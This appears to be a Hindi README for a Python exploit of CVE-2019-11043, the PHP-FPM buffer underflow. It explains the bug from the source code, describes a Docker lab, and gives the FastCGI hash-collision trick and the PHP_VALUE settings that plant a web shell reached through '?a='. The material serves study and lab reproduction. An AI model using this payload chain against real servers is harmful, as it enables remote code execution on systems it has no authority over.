
# CVE-2019-11043 के लिए Python एक्सप्लॉइट जो PHP-FPM बफर अंडरफ्लो को लक्षित करता है ताकि नल बाइट ओवरराइट और FastCGI वेरिएबल हेरफेर के माध्यम से रिमोट कोड निष्पादन प्राप्त किया जा सके।
PHP-FPM रिमोट कोड निष्पादन
स्क्रीनकास्ट: https://youtu.be/d6benC5FVZM
यह ज़ीरो-डे एक्सप्लॉइट सामान्य PHP-FPM कॉन्फ़िगरेशन में 2019 की Realworld CTF प्रतियोगिता के दौरान खोजा गया था। अनुरोधित URI को पार्स करने के लिए एक रेगुलर एक्सप्रेशन का उपयोग किया जाता है, लेकिन न्यूलाइन वर्ण %0a मेल नहीं खाते। यह FastCGI में एक बग ट्रिगर करता है जो क्वेरी स्ट्रिंग की लंबाई गलत तरीके से परिकलित करता है और इच्छित बफर की शुरुआत से पहले एक स्थान पर नल बाइट लिखता है। क्वेरी स्ट्रिंग की लंबाई का सावधानीपूर्वक चयन करके, एक हमलावर इस बग का उपयोग सर्वर पर आंतरिक PHP चरों को अधिलेखित करने और मनमाना शेल कोड निष्पादित करने के लिए कर सकता है।
इस एक्सप्लॉइट का मूल Go इम्प्लीमेंटेशन यहाँ पाया जा सकता है। मैंने Python में एक्सप्लॉइट लागू करने के लिए इसे, एक लेख और मूल बग रिपोर्ट को सीखने के संसाधनों के रूप में उपयोग किया।
Linux पर Docker /script.php पर एक खाली स्क्रिप्ट के साथ एक न्यूनतम NGINX/PHP-FPM सर्वर तुरंत शुरू करने के लिए sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 चलाएँ। इस इमेज के लिए Dockerfile उपलब्ध है, हालाँकि उपरोक्त कमांड चलाने के लिए इसकी आवश्यकता नहीं है।
Mac पर Docker vulhub रिपॉजिटरी की /php/CVE-2019-11043 डायरेक्टरी से sudo docker-compuse up -d चलाएँ। (Compose Docker for Mac के साथ शामिल है।)
एक्सप्लॉइट स्क्रिप्ट को कमांड python3 exploit.py http://localhost:8080/script.php से चलाएँ (या यदि दूसरा विकल्प उपयोग किया गया था तो /index.php)। सफल निष्पादन पर, ?a= के बाद URL में कमांड जोड़कर एक वेब शेल सुलभ होगा (जैसे, http://localhost:8080/script.php?a=uname -a)।
नोट: मैंने इस असाइनमेंट के लिए एक Ansible playbook बनाने का प्रयास किया, लेकिन यहाँ दर्ज एक काम रोकने वाले बग का सामना करना पड़ा। हाल के Linux कर्नेल (जैसे, किसी भी Ubuntu LTS रिलीज़) पर Ansible playbook के साथ systemd सेवाएँ शुरू करना संभव नहीं है।
PHP-FPM कॉन्फ़िगरेशन फ़ाइलों में आने वाले URI अनुरोधों को PHP स्क्रिप्ट से मिलाने के लिए एक नियम होता है, जो अक्सर इस प्रकार दिखता है:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
इसे /script.php/pathinfo के रूप में किसी भी URI से मेल खाना चाहिए, लेकिन . वास्तव में न्यूलाइन %0a वर्णों से मेल नहीं खाता। यदि URI में न्यूलाइन होता है, तो यह PHP इम्प्लीमेंटेशन में निम्नलिखित बग को ट्रिगर करेगा:
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* recall that PATH_INFO won't exist */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
यहाँ समस्या यह है कि slen की गणना URI की लंबाई में से संसाधन पथ की लंबाई घटाकर सही ढंग से की जाती है, लेकिन pilen गलती से 0 सेट हो जाता है। यह पंक्ति 1151 पर path_info को ऋणात्मक मान पर सेट कर देता है, जिसके परिणामस्वरूप बफर अंडरफ्लो होता है। उसी फ़ाइल में इस गलत गणना के तुरंत बाद, हमारे पास यह है:
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
पंक्ति 1161 पर, पिछले चरण से गलत गणना किए गए मेमोरी स्थान पर एक नल बाइट लिखी जाती है। इसका उपयोग पंक्ति 1165 पर एक भेद्यता का शोषण करने के लिए किया जा सकता है, जहाँ FastCGI एक पर्यावरण चर लिखता है। नल बाइट को पर्यावरण चर लेखन कार्य को नियंत्रित करने वाले पॉइंटर में लिखकर, हम अपने HTTP अनुरोधों के माध्यम से पर्यावरण में मनमाने PHP चर सम्मिलित कर सकते हैं।
FastCGI में पर्यावरण चर मेमोरी में key-value स्ट्रिंग जोड़ों के एक सघन पैक किए गए अनुक्रम में संग्रहीत होते हैं। इन स्ट्रिंग्स को धारण करने वाले बफर के आरंभ और अंत को _fcgi_data_seg कहा जाता है। pos सदस्य अगले उपलब्ध लेखन स्थान की ओर इंगित करता है। यदि बफर भर जाता है (pos > end), तो एक नया बफर आवंटित किया जाता है और next सदस्य पुराने बफर की ओर इंगित करता है।
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
FastCGI व्यक्तिगत पर्यावरण चरों को _fcgi_hash नामक हैश तालिका का उपयोग करके एक्सेस करता है।
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
यहाँ विचार pos के सबसे कम महत्वपूर्ण बाइट को अधिलेखित करना है ताकि FastCGI को किसी मौजूदा चर को अधिलेखित करने के लिए धोखा दिया जा सके। कोड को हमारे URI पथ में जोड़ी गई स्ट्रिंग को लेकर PATH_INFO के स्थान पर रखना चाहिए। हालाँकि, हम PHP_VALUE को अधिलेखित करना चाहते हैं, क्योंकि यह मान भेद्य कोड खंड के तुरंत बाद प्राप्त करके PHP सेटिंग्स में लोड किया जाता है।
जैसा कि आप exploit.py में देख सकते हैं, इस एक्सप्लॉइट का सामान्य आधार एक बहुत लंबी URI क्वेरी खोजना है जो FastCGI के आंतरिक मेमोरी बफर को इस प्रकार संरेखित करेगी कि हम उसका दुरुपयोग कर सकें। विचार उन वर्णों की सटीक संख्या खोजना है जो FastCGI के लिए एक नया _fcgi_data_seg बफर आवंटित करने हेतु आवश्यक है। जब ऐसा होता है, FastCGI पूर्वानुमानित रूप से हमारे PATH_INFO को नए बफर में लिखेगा, और उसके तुरंत बाद हमारे प्रत्येक HTTP हेडर को नए पर्यावरण मानों के रूप में लिखेगा। इसलिए, अगला चरण यह पता लगाना है कि हमें अपने उद्देश्यों के लिए मेमोरी संरेखित करने हेतु किसी मनमाने HTTP हेडर को कितने वर्णों से पैड करना होगा। चूँकि हम किसी मनमाने स्थान पर केवल एक नल बाइट लिखने तक सीमित हैं, हमें pos को PHP_VALUE के एक पूर्वानुमानित ऑफसेट पर इंगित करना होगा ताकि सबसे कम महत्वपूर्ण बाइट को संपादित करने से यह वहाँ स्थानांतरित हो सके।
चुनौती यह है कि हम PHP_VALUE को अधिलेखित करना चाहते हैं, लेकिन हम नहीं जानते कि यह मेमोरी में कहाँ स्थित है। जब FastCGI इस चर को लोड करता है, तो एक सरल एल्गोरिथम के अनुसार वास्तविक मेमोरी पता प्राप्त करने के लिए यह स्ट्रिंग PHP_VALUE को हैश करेगा:
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
वास्तव में हैश तालिका को किसी तरह संशोधित करने के बजाय, हमें केवल इस फ़ंक्शन के अनुसार PHP_VALUE के समान स्ट्रिंग लंबाई और हैश वाला एक और पर्यावरण चर बनाना है। यह हैश लुकअप को इच्छित चर के बजाय हमारे HTTP हेडर को पढ़ने के लिए धोखा देगा। इस एक्सप्लॉइट के लेखक ने चतुराई से ध्यान दिया कि EBUT नामक एक हेडर FastCGI पर्यावरण में HTTP_EBUT के रूप में सहेजा जाएगा, जो इस आवश्यकता को पूरा करता है।
हमले के लिए, हम अपने EBUT हेडर वाले GET अनुरोध भेजते हैं और उसके मान को अधिलेखित करने के लिए नल बाइट अधिलेखन बग का उपयोग करते हैं। हम बार-बार अनुरोधों के साथ PHP पर्यावरण चरों को एक-एक करके सेट करने का प्रयास करते हैं:
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"
इन सभी चरों का सफल संशोधन सर्वर पर मनमाने शेल कोड निष्पादन के लिए एक नई क्वेरी ?a= को सक्षम करता है। हमला लूप प्रत्येक पुनरावृत्ति पर which which निष्पादित करने का प्रयास करके सफलता की जाँच करता है। हमलावर HTTP प्रतिक्रिया से परिणाम पढ़कर आसानी से पता लगा सकता है कि यह सफल रहा या नहीं (जैसे, /bin/which)।